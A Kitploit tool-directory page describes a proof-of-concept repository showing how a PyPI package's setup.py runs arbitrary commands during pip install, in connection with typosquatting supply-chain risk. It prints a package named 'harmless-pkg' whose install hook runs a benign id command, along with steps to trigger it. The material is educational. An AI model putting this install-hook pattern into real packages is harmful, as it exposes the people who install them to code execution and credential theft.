Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution- — Demonstrates how a malicious Python package executes arbitrary commands during pip install via setup.py, highlighting PyPI supply chain and typosquatting risks. | Kitploit
Tools/GitHubGitHub/george0papasotiriou/cve-2026-21016-malicious-pypi-package-install-hook-setup.py-execution-
ExploitationSupply Chain SecurityLearning & EducationPayload DevelopmentAdversarial Attack
GitHubgeorge0papasotiriou/cve-2026-21016-malicious-pypi-package-install-hook-setup.py-execution-

CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

Demonstrates how a malicious Python package executes arbitrary commands during pip install via setup.py, highlighting PyPI supply chain and typosquatting risks.

View Repository
41 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-21016 – Malicious PyPI Package Install Hook (setup.py Execution)

Program Code (Python)

root@kitploit:~
# setup.py - Malicious package that executes during install
from setuptools import setup
import os

# This runs on pip install
os.system('id > /tmp/pwned_by_package')

setup(
    name='harmless-pkg',
    version='1.0',
    packages=[],
)

CVE-2026-21016 – Malicious PyPI Package Install Hook (setup.py)

Severity: Critical

Overview

A PyPI package can include arbitrary code in its setup.py, which is executed during pip install. An attacker can publish a package with a name similar to a popular one (typosquatting) and upon installation, the payload runs with the user’s privileges, leading to remote code execution.

Vulnerability Details

  • Type: Supply Chain Attack / Code Execution
  • Impact: System compromise, credential theft.
  • Root Cause: Pip executes setup.py without sandboxing, giving packages full access.

Exploit Demonstration

  1. Create the malicious package directory with the given setup.py.
  2. Install it locally:
    root@kitploit:~
    pip install ./harmless-pkg
    
    
  3. Check the output:
    root@kitploit:~
    cat /tmp/pwned_by_package
    

The id command was executed.

Download Tool